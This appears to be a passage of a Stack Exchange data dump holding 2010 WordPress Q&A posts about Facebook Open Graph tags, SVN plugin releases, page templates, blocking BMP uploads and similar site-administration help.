  <row Id="4132" PostTypeId="2" ParentId="1733" CreationDate="2010-11-16T16:17:19.520" Score="5" ViewCount="" Body="&lt;p&gt;The code is still a mess, but it seems to work, even on IE 8. I plan to release it in the repository, but in the meantime you can play with &lt;a href=&quot;https://gist.github.com/725508&quot; rel=&quot;nofollow&quot;&gt;my current version&lt;/a&gt;. To access it you click the &quot;Edit Image&quot; when adding or editing an image, it replaces the usual image editor (they are very hard to combine). Since most of the admin area uses the regular thumbnail and my current version edits the post thumbnail, it might seem the code has no effect, but try it by showing a post thumbnail and you should see it change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This plugin requires my &lt;a href=&quot;https://gist.github.com/675437&quot; rel=&quot;nofollow&quot;&gt;On-Demand Image Resizer&lt;/a&gt;, which is also still a mess, to do the actual resizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/oIBFD.png&quot; alt=&quot;Example image in the cropper&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-02T15:34:05.890" LastActivityDate="2010-12-02T15:34:05.890" CommentCount="2" />
  <row Id="4134" PostTypeId="1" CreationDate="2010-11-16T17:54:04.280" Score="0" ViewCount="735" Body="&lt;p&gt;As per documentation I satisfied all the requirements of the like button by using the meta-tags, however I still don't get the image I would like linked by Facebook: it always goes fishing for another image in the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, of course I could solve this by being explicit about which image I really want but I do I get that image from Wordpress? Is there a function like post_image() that would print its URL like there is for the permalink?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2011-03-10T02:56:44.787" Title="Correctly implementing the Facebook Like button" Tags="&lt;images&gt;&lt;facebook&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="4135" PostTypeId="1" AcceptedAnswerId="4141" CreationDate="2010-11-16T17:59:09.717" Score="2" ViewCount="223" Body="&lt;p&gt;Recently I tried to update my plugin to WP server. &#xA;The update to trunk folder went fine, but when I created a folder with a new version under tags folder and tried to upload it, only the immediate children files of this folder where uploaded successfully and the sub folders weren't. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually I figured out that the svn info file &quot;thinks&quot; that this sub folder already exists in the server even though it doesn't, so I used Tortoise delete function and a few times and then added it and click commit. Finally after more than an hour of trial and error, I succeeded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was really frustrating because I know that people already received an update notification and some of them might have updated and received an error message that crashed their admin!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Should I switch to working with command line instead of Tortoise? will it be safer?&lt;/li&gt;&#xA;&lt;li&gt;Is there a way to postpone the version update notification until I confirm somehow that I have completed the upload of the new version successfully? &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1502" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-03-18T12:52:05.433" LastActivityDate="2011-03-18T12:52:05.433" Title="How to handle the Plugin Version on Update using Tortoise SVN and the worpdress.org Plugin Repository?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;subversion&gt;&lt;repository&gt;" AnswerCount="1" />
  <row Id="4136" PostTypeId="1" CreationDate="2010-11-16T18:02:40.553" Score="4" ViewCount="339" Body="&lt;p&gt;I need to create a plugin that makes custom page templates available in wp-admin. I'm wondering if someone has tackled this already, as it seems like a pretty typical process?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-07T23:14:02.320" LastActivityDate="2011-02-07T23:14:02.320" Title="Is there a WordPress plugin that registers a plugin file as a custom page template?" Tags="&lt;plugins&gt;&lt;template&gt;&lt;page-template&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" />
  <row Id="4137" PostTypeId="2" ParentId="2148" CreationDate="2010-11-16T18:04:22.657" Score="2" ViewCount="" Body="&lt;p&gt;There is actually a really nice plugin for this, named WP Favorite Posts&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-favorite-posts/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-favorite-posts/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It saves the data in the database if the user is logged in, and if they are just visiting, the data is stored in a cookie.&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2010-11-16T18:04:22.657" />
  <row Id="4138" PostTypeId="2" ParentId="4136" CreationDate="2010-11-16T18:20:40.130" Score="2" ViewCount="" Body="&lt;p&gt;I'm not entirely sure I understand what you are trying to achieve, at least why you would want a plugin to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normal procedure for creating different page templates is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new page-template in your ACTIVE theme directory (make a copy of page.php).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the name of the template (inside the file). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/* &#xA;Template Name: Full Width Page&#xA;*/&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the code of the page to what you are trying to achieve.    &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can now go create a new page and choose which &quot;Template&quot; to use. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/6FLgs.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that is what you are trying to achieve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Official documentation here: &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2010-11-16T18:20:40.130" CommentCount="4" />
  <row Id="4139" PostTypeId="2" ParentId="4134" CreationDate="2010-11-16T18:24:47.910" Score="2" ViewCount="" Body="&lt;p&gt;Yoast.com actually covered this quite recently...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (  is_singular() ) {&#xA;  global $post;&#xA;  if ( current_theme_supports('post-thumbnails') &#xA;      &amp;amp;&amp;amp; has_post_thumbnail( $post-&amp;gt;ID ) ) {&#xA;    $thumbnail = wp_get_attachment_image_src( &#xA;      get_post_thumbnail_id( $post-&amp;gt;ID ), 'thumbnail', false);&#xA;    echo '&amp;lt;meta property=&quot;og:image&quot; &#xA;      content=&quot;'.$thumbnail[0].'&quot; /&amp;gt;';  &#xA;  }&#xA;  echo '&amp;lt;meta property=&quot;og:title&quot; &#xA;    content=&quot;'.get_the_title().'&quot; /&amp;gt;';&#xA;  if ( get_the_excerpt() != '' )&#xA;    echo '&amp;lt;meta property=&quot;og:description&quot; &#xA;      content=&quot;'.strip_tags( get_the_excerpt() ).'&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Explanation and more details are here: &lt;a href=&quot;http://yoast.com/facebook-share-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://yoast.com/facebook-share-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2010-11-16T18:24:47.910" CommentCount="3" />
  <row Id="4140" PostTypeId="1" CreationDate="2010-11-16T18:26:28.673" Score="2" ViewCount="113" Body="&lt;p&gt;Currently, it is up to any plugin's author as to where to put a link to the plugin's option page. I have seen at least the following &quot;solutions&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Plugin list&lt;/li&gt;&#xA;&lt;li&gt;Dashboard menu&lt;/li&gt;&#xA;&lt;li&gt;Plugins menu&lt;/li&gt;&#xA;&lt;li&gt;Appearance menu  &lt;/li&gt;&#xA;&lt;li&gt;Tools menu &lt;/li&gt;&#xA;&lt;li&gt;Settings menu&lt;/li&gt;&#xA;&lt;li&gt;Tools menu&lt;/li&gt;&#xA;&lt;li&gt;Top level&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In my opinion, this is very bad style (globally, not necessarily individually). In addition to the mass of links in many different locations, Wordpress does not sort them or anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it is now, plugin developers can put anything anywhere in the menues and we probably want it that way; but there really should be a unified way of registering an options page such that is recognised and placed as such. Please see &lt;a href=&quot;http://wordpress.org/support/topic/idea-central-location-for-plugin-settings-pages&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, too. The old ways could remain valid, but I'd suggest recommending to use the standardised (and easy) way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have lately thought about writing a plugin that provides such an frontend, that is offers a function for other plugin authors that registers an options page and cares for placing links to it in the appropriate places. The notion of &lt;em&gt;appropriateness&lt;/em&gt; could be hardcoded in a first version and be left to the user in subsequent iterations. I can even image a screen were users can put pages registered by plugins (not necessarily only option pages) were it suits them; if &lt;em&gt;the user&lt;/em&gt; thinks this plugin's options should be there, so be it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think? In particular:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As a plugin author, would you delegate to such a plugin?&lt;/li&gt;&#xA;&lt;li&gt;Do you think I should build it?&lt;/li&gt;&#xA;&lt;li&gt;Should I rather implement the feature directly into Wordpress, hoping that the main hackers approve and incorporate it?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1524" LastEditorUserId="1524" LastEditorDisplayName="" LastEditDate="2010-11-16T20:32:49.157" LastActivityDate="2010-11-16T23:03:59.120" Title="Unified Approach for Placing Option Pages" Tags="&lt;plugin-development&gt;&lt;options&gt;&lt;admin-menu&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="4141" PostTypeId="2" ParentId="4135" CreationDate="2010-11-16T18:32:09.060" Score="4" ViewCount="" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;Question 1:&lt;/em&gt; Should I switch to working with command line instead of Tortoise? will it be safer?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, tortoise SVN does everything you need to do pretty well and without the need for you to learn every command line command. I've used it plenty of time, and I never had problems that were related to it, the problems were related to me using it ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: Tortoise SVN contains the same code under the hood as the command line client, so both are exactly the same kind of safe. But you can download SVN for the commandline as well and even use both in parallel. But that's not really something helpful for you, I guess. Just take Tortoise SVN as it is much easier to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you missed to svn-add the subdirectories. As long as you do not add those, they won't get committed. It's just that they were not under version control so SVN did not know that those should be committed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Question 2:&lt;/em&gt; Is there a way to postpone the version update notification until I confirm somehow that I have completed the upload of the new version successfully?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally there is no need to do so. Only for the very first version, the ZIP package is created automatically by the wordpress website. For any additional version, you need to tag a release before the new plugin.zip is generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as long as you do not &lt;a href=&quot;http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-dug-branchtag.html&quot; rel=&quot;nofollow&quot;&gt;tag&lt;/a&gt; your next release, nobody will get notified about the new version.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Further Question 1:&lt;/em&gt; So basically I can upload the new version without incrementing the version in the main plugin file and the readme file and only when I see it the update was successful, I can update only those 2 files after incrementing the version.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's soemthing you can do as well. In the end you should update the readme.txt and the plugin file headers otherwise this won't be user-friendly might create a wrong view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I normally change those two files in my development trunk directly directly after I tagged the last release, so not at the end. This works very well for me. So this is quite the opposite then in your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just tag for your next release and you are fine. The tagging will signal wordpress.org plugin repository that a new version is available. Until then, only the development version get's upated after each commit if I remember that right. And that's nothing problematic as it is the development version. Those normally do not get downloaded, and they are not announced with the update feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should answer your other question as well: Update notifications aren't send out unless you tag. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Further Question 2:&lt;/em&gt; Creating a branch is for major versions, right?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, that's unrelated. You can create a tagged version as a minor or bugfix release as well. The following principle is common:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyPlugin version 1.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the first major release.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyPlugin version 1.1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a feature release within the first major release.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyPlugin version 1.1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the first bugfix release for the first feature release in your first major release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is common. The wordpress.org plugin repository does not support this out of the box very well, it's just counting up, regardless which position this is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fine-tune that, you can tag (within plugin headers) your plugin as being stable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  *   Stable tag:     1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So on wordpress.org you can have &lt;strong&gt;one&lt;/strong&gt; stable version only but next to that you can have countless of other versions as well. And you can (and should) tag them, too. Probably each time you fixed a bug or added a feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you normally count up release numbers. If you're creating a beta, you can add that behind, which is normally understood by users pretty well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MyPlugin version 1.0.1-beta&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works as well. For a real life example you can take a look on the table at the bottom ob &lt;a href=&quot;http://hakre.wordpress.com/plugins/better-http-redirects/&quot; rel=&quot;nofollow&quot;&gt;this plugin page on my homepage&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a wordpress plugin that is also released on wordpress.org. The according line-up can be found here: &lt;a href=&quot;http://wordpress.org/extend/plugins/better-http-redirects/download/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/better-http-redirects/download/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-16T18:57:18.147" LastActivityDate="2010-11-16T18:57:18.147" CommentCount="6" />
  <row Id="4142" PostTypeId="1" AcceptedAnswerId="11369" CreationDate="2010-11-16T18:55:01.643" Score="0" ViewCount="287" Body="&lt;p&gt;I need to prevent uploading bmp image for user. How can it be possible?&lt;/p&gt;&#xA;" OwnerUserId="1581" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-16T19:17:12.903" LastActivityDate="2011-03-07T14:32:29.593" Title="How can I prevent uploading bmp image?" Tags="&lt;uploads&gt;&lt;image&gt;" AnswerCount="2" />
  <row Id="4143" PostTypeId="2" ParentId="4142" CreationDate="2010-11-16T19:15:52.000" Score="5" ViewCount="" Body="&lt;p&gt;The magic is in &lt;code&gt;get_allowed_mime_types()&lt;/code&gt; which calls the &lt;code&gt;upload_mimes&lt;/code&gt; filter. That is filtering a default array consisting of keys as a non-terminated regular expression of file-extensions and the mapped mime-type as values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;    'jpg|jpeg|jpe' =&amp;gt; 'image/jpeg',&#xA;    'gif' =&amp;gt; 'image/gif',&#xA;    'png' =&amp;gt; 'image/png',&#xA;    'bmp' =&amp;gt; 'image/bmp',&#xA;    'tif|tiff' =&amp;gt; 'image/tiff',&#xA;    'ico' =&amp;gt; 'image/x-icon',&#xA;    ....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so hooking into that filter and removing &lt;code&gt;bmp&lt;/code&gt; should do the job for the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/** prevent uploading of .bmp files. */&#xA;add_filter('upload_mimes', function($mimes)&#xA;    { &#xA;        array_key_exists('bmp', $mimes)&#xA;            &amp;amp;&amp;amp; unset($mimes['bmp'])&#xA;            ;&#xA;        return $mimes;&#xA;    })&#xA;    ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just copy that over into a file named &lt;code&gt;no-bmp-upload.php&lt;/code&gt; and place it into the &lt;code&gt;wp-content\mu-plugins&lt;/code&gt; folder.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-16T19:15:52.000" CommentCount="5" />
  <row Id="4144" PostTypeId="2" ParentId="4140" CreationDate="2010-11-16T19:29:44.983" Score="2" ViewCount="" Body="&lt;p&gt;There will never be such thing as a restriction of where a plugin can place a link that will display a certain page the plugin is registering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just in your scenario that a plugin is registering a settings page and the link normally is named settings as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As there is no convention or suggestion what plugin authors can/should do, I see it even more probelmatic to restrict this. I doubt that a restriction would be technically effective and on the social side, it will only create problems for those who want/need to circumvent some more restricted approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has various reasons and you are totally right, this can be a problem because it's not easy to locate all the plugins settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the plugins I code that actually have a settings page, I prefer them to add in the plugin listing - at least as well. I know that some users look there if they don't locate stuff within the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it would be nice if core provides an additional routine plugin authors could call to register their settings page. For plugins that don't do that, the plugin listing could display a greyed out &lt;em&gt;- no settings -&lt;/em&gt; or else remark.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I know that not all plugin authors do announce their settings page at least in the plugins listing, I've create a quicksearch plugin for the admin that let's you browse the menu quickly: &lt;a href=&quot;http://hakre.wordpress.com/plugins/admin-quicksearch/&quot; rel=&quot;nofollow&quot;&gt;Admin Quicksearch (Wordpress Plugin)&lt;/a&gt; - It let's you search the plugin listing quickly as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-16T19:29:44.983" CommentCount="3" />
  <row Id="4145" PostTypeId="2" ParentId="2348" CreationDate="2010-11-16T19:42:40.217" Score="1" ViewCount="" Body="&lt;p&gt;Well if you want to do this right, you would have one database for development, one for staging and then the live database. It's just that Wordpress is not designed to live with such commons in software engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component I still see publicly missing is a complete migration script that is able to convert all wordpress settings and data in the database from one domain to another as the domain names are &quot;hardcoded&quot; into posts and buried in multiple (often serialized) option values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you're concerned about the few options you listed only, you can hook into &lt;code&gt;pre_option_...&lt;/code&gt; filters and change those based on your setup. You could write a define into your config file and change the values accordingly. This might work with multisite setups as well as you're filtering the actual values from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a direction?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-16T19:42:40.217" />
  <row Id="4146" PostTypeId="2" ParentId="1805" CreationDate="2010-11-16T19:48:20.193" Score="1" ViewCount="" Body="&lt;p&gt;This problem has been probably fixed in &lt;a href=&quot;http://www.jfarthing.com/blog/2010/11/15/theme-my-login-6-0-4/&quot; rel=&quot;nofollow&quot;&gt;version 6.0.4&lt;/a&gt;. Have you tried the latest version?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-16T19:48:20.193" />
  <row Id="4147" PostTypeId="1" CreationDate="2010-11-16T19:52:03.420" Score="2" ViewCount="50" Body="&lt;p&gt;I usually wait for Denis to let us know when to upgrade to the next SP and WP version.. Anyone know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Miami&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-16T20:55:05.660" LastActivityDate="2010-11-17T18:20:42.100" Title="update Semiologic?" Tags="&lt;update&gt;&lt;semiologic&gt;" AnswerCount="2" />
  <row Id="4148" PostTypeId="2" ParentId="4147" CreationDate="2010-11-16T20:00:08.937" Score="2" ViewCount="" Body="&lt;p&gt;SP for any stable release. WP as you see fit normally, I discuss that with Denis as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now SP is compatible with WP 3.0.1 and WP 2.9.2 so you have the choice. The memo on WP is &quot;3.x only if you need it&quot;. That's how I take it for my own and client sites as well. Have been doing good with it so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that WP 3.0.x might be incompatible licensed with some plugins and themes it was compatible to before 3.0.0/3.0.1 and will be compatible again after the next release - be it 3.0.2 or 3.1.0 .&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-16T20:00:08.937" />
  <row Id="4150" PostTypeId="1" CreationDate="2010-11-16T20:09:12.157" Score="0" ViewCount="75" Body="&lt;p&gt;there has come som wierd letters signs in the top of my page (&quot; /&gt;) and i don't know how to remove them!! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it started when i uninstaled a widget&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.heineh.com &lt;/p&gt;&#xA;" LastActivityDate="2010-11-16T20:22:48.593" Title="wierd signs on the top of my page" Tags="&lt;design&gt;" AnswerCount="2" />
  <row Id="4151" PostTypeId="2" ParentId="1733" CreationDate="2010-11-16T20:15:43.633" Score="0" ViewCount="" Body="&lt;p&gt;I believe you are looking for this: &lt;a href=&quot;http://wordpress.org/support/topic/scissors-for-wordpress-29-also-works-on-30-hurray&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/scissors-for-wordpress-29-also-works-on-30-hurray&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried this out, but it should offer you the functionality you are looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original plugin page here. &lt;a href=&quot;http://wordpress.org/extend/plugins/scissors/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/scissors/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm needing this for a project I'm working on, too.&lt;/p&gt;&#xA;" OwnerUserId="1515" LastActivityDate="2010-11-16T20:15:43.633" CommentCount="1" />
  <row Id="4152" PostTypeId="2" ParentId="4150" CreationDate="2010-11-16T20:20:56.517" Score="2" ViewCount="" Body="&lt;p&gt;If you still can log into the admin of your site, deactivate all plugins and activate the default theme. This should at least recover your site's data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just a guess, but I would deactivate anything that is connected to facebook first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case not, get in contact with someone who does wordpress support professionally, as this looks to me that you broke your site. Most often such problems can be fixed remotely within a short amount of time.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-16T20:20:56.517" />
  <row Id="4153" PostTypeId="1" AcceptedAnswerId="4157" CreationDate="2010-11-16T20:21:02.273" Score="2" ViewCount="709" Body="&lt;p&gt;When a user tries to share a page with an embedded video on it only the title of the pages shows up on their facebook status and not the flash video player.  This happens while sharing with the addthis button or if the url is posted directly to the facebook page. Any idea how I can make facebook pickup the embedded flash video?&lt;/p&gt;&#xA;" OwnerUserId="1596" LastActivityDate="2011-03-26T15:13:05.757" Title="sharing video on facebook from wordpress" Tags="&lt;facebook&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="4154" PostTypeId="2" ParentId="4150" CreationDate="2010-11-16T20:22:48.593" Score="0" ViewCount="" Body="&lt;p&gt;If you view source of the page you get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                    &amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xmlns:og=&quot;http://opengraphprotocol.org/schema/&quot; xmlns:fb=&quot;http://www.facebook.com/2008/fbml&quot;&amp;gt;&#xA;            &amp;lt;meta property=&quot;og:title&quot; content=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;meta property=&quot;og:type&quot; content=&quot;blog&quot; /&amp;gt;&#xA;            &amp;lt;meta property=&quot;og:url&quot; content=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;meta property=&quot;og:image&quot; content=&quot;&amp;lt;meta property=&quot;og:title&quot; content=&quot;[heineh.com]&quot;/&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;meta property=&quot;fb:app_id&quot; content=&quot;&quot; /&amp;gt;&#xA;            &amp;lt;meta property=&quot;og:description&quot; content=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems somehow related to Facebook, was widget you uninstalled related to that? What exactly do you mean by &quot;uninstalled&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know specific plugin responsible you can probably can delete it via FTP, even if you had lost admin access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise if you are completely locked out - as per hakre's suggestion your best bet is to get professional support.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-16T20:22:48.593" />
  <row Id="4156" PostTypeId="1" CreationDate="2010-11-16T21:01:14.850" Score="2" ViewCount="388" Body="&lt;p&gt;I migrated a site from Tumblr to WordPress and was able to get all the content over (in pieces) using the FeedWordPress plugin. What I am now trying to do is get the old permalink structure to redirect dynamically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin added a custom field with the old Tumblr permalink (syndication_permalink is the name of the field). Is there a function I can write using wp_redirect to check for this field, and if so redirect to the new permalink URL?&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2010-12-18T19:30:51.010" Title="Redirects from Tumblr to new WP" Tags="&lt;redirect&gt;&lt;migration&gt;&lt;tumblr&gt;" AnswerCount="1" />
  <row Id="4157" PostTypeId="2" ParentId="4153" CreationDate="2010-11-16T21:46:01.147" Score="4" ViewCount="" Body="&lt;p&gt;That really depends on how the video is embedded into the page.  Facebook can only handle specific formats and if it sees something it doesn't expect, it defaults to a failsafe &quot;show nothing&quot; standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the embedded video is well-recognized standard (i.e. YouTube's default player) it should work just fine.  If it's your own self-hosted video player, though, this won't work.  Facebook won't embed other people's Flash objects on their site.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Update 11/18&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Facebook, as smart as it is, still needs a considerable amount of help to determine what content lives on the page.  It can do a quick scraping of &lt;code&gt;&amp;lt;img /&amp;gt;&lt;/code&gt; tags to give you page thumbnails, but it doesn't scan for &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt;s or &lt;code&gt;&amp;lt;embed&amp;gt;&lt;/code&gt;s because these could be anything from a YouTube video (that you'd like shared on Facebook) to an intrusive Flash application (that Facebook doesn't want on their site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things easier, YouTube actually uses a specific Facebook application to allow you to share videos that will be automatically embedded into Facebook.  In addition to linking directly to this application, every YouTube video page includes additional meta information in their header that Facebook uses to scrape up the video and embed it into the page.  Here's an example from the video you linked to earlier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta property=&quot;fb:app_id&quot; content=&quot;87741124305&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:title&quot; content=&quot;Cubed: Manny Pacquiao&amp;amp;amp;#39;s Punchout&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:description&quot; content=&quot;Manny Pacquiao is training hard for his upcoming fight with Miguel Cotto, but you might be surprised how he got to the top.  Check out this clip.&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:type&quot; content=&quot;video&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:url&quot; content=&quot;http://www.youtube.com/watch?v=IvCCuuuJhd4&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:image&quot; content=&quot;http://i2.ytimg.com/vi/IvCCuuuJhd4/default.jpg&quot; /&amp;gt;&#xA;&amp;lt;meta property=&quot;og:site_name&quot; content=&quot;YouTube&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The application linked is the &lt;a href=&quot;http://www.facebook.com/apps/application.php?id=87741124305&quot; rel=&quot;nofollow&quot;&gt;YouTube application&lt;/a&gt; on Facebook.  You can also see some specific information included here: title, description, type, url, image, site_name.  All of this 